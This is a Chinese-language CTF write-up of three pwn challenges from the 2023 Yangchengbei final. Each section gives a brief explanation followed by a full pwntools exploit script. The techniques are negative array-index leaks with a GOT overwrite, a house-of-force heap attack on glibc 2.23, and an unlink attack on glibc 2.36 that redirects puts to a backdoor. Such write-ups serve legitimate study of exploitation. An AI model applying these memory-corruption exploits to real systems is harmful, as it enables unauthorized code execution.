2023 羊城杯决赛

arrary_index_bank

给了后门

意识到了数组下标可以为负数来在栈上无限后溢来泄露libc,栈和pie,从而修改栈区上面libc里的值,这里选择了puts函数会利用libc里的got,改为后门

image-20230921231258929

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./pwn'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# dbpie('0x00144D')
# dbpie('0x014C6')
sla(b'>',b'1')
sla(b'>',str(-0x8000000000000000 + 7).encode())
sla(b'unt?',b'-1')
ru(b'[-1] = ')
pie=int(r(len('93824992236582')),10)-0x1426
backdoor=0x1310+pie
p('pie',pie)

sla(b'>',b'1')
sla(b'unt?',b'-2')
ru(b'[-2] = ')
stack_base=int(r(len('140737488347072')),10)-0x30
p('stack_base',stack_base)

sla(b'>',b'1')
sla(b'unt?',b'-18')
ru(b'[-18] = ')
_IO_2_1_stdin_=int(r(len('140737488347072')),10)
p('_IO_2_1_stdin_',_IO_2_1_stdin_)
libcbase=find_libc('_IO_2_1_stdin_',_IO_2_1_stdin_)
attach= 0x219098+libcbase
p('attach',attach)
index=-((stack_base-attach)//8)
sla(b'>',b'2')
sla(b'unt?',str(index).encode())
sla(b'much?',str(backdoor).encode())
# b()
io.interactive()

这种方法,远程可能会有的问题,更稳妥还是利用整数溢出,刚开始没看出来溢出,菜哭惹

image-20230921231722098

这里v3作为__int64 v1[3];作为数组下标还需要乘以8,从而成负数溢出为正数,就可以改返回地址为后门

easy_force

Ubuntu GLIBC 2.23-0ubuntu11.3的libc

堆溢出,只能申请四个堆,无其他功能,打house of force,改malloc为ogg

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./pwn.bak'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# db('0x04008C6')#malloc
def menu(idx):
sla(b' away\n',str(idx).encode())
def ask(idx,size,content):
menu(1)
sla(b'ex?\n',str(idx).encode())
sla(b'want?\n',str(size).encode())
sla(b'rite?\n',content)
ask(0,0x50000,b'ff')
ru(b'road on ')
libcbase=int(ru(b' is'),16)- 0x581010
ogg=[x + libcbase for x in [0x45226,0x4527a,0xf03a4,0xf1247]]
payload=flat(0,0,0,0xffffffffffffffff)
ask(1,1,payload)
ru(b'road on ')
topchunk=int(ru(b' is'),16)+0x10
p('libc',libcbase)
p('top',topchunk)
offset=elf.got['malloc']-0x20-topchunk
ask(2,offset,b'')
ask(3,1,p64(ogg[3]))
menu(1)
sla(b'ex?\n',str(4).encode())
sla(b'want?\n',str(1).encode())
# b()
io.interactive()

printf but not fmtsrt

libc2.36 存在后门和uaf,限制了堆块大小,没开pie可以利用堆指针数组里的堆地址,绕过unlink检查,将堆指针数组的地址写入其中,从而控制putsgot为后门

踩的一个坑就是unlink时会检查堆块的0x20处偏移是否为0,所以edit时用sendline会使+0x20处为一个‘\n’,从而导致unlink失败

image-20230922130626468

触发unlink的堆构造

image-20230922134116399

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./pwn'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def menu(idx):
sla(b'>',str(idx).encode())
def add(idx,size):
menu(1)
sla(b'ndex: ',str(idx).encode())
sla(b'Size: ',str(size).encode())
def delete(idx):
menu(2)
sla(b'ndex: ',str(idx).encode())
def edit(idx,content):
menu(3)
sla(b'ndex: ',str(idx).encode())
sa(b'tent: ',content)
def show(idx):
menu(4)
sla(b'ndex: ',str(idx).encode())
backdoor=0x4011D6
add(0,0x520)
add(1,0x520)
add(2,0x520)
delete(0)
delete(1)
# b()
add(3,0x530)#切割unsortedbin,使edit可以修改到堆块头部开始处
edit(1, flat([0, 0x521, 0x4040E8 - 0x18, 0x4040E8 - 0x10]))
# b()
delete(2)#触发unlink
edit(1,flat(0,0,elf.got['puts']))
edit(0,p64(backdoor))
io.interactive()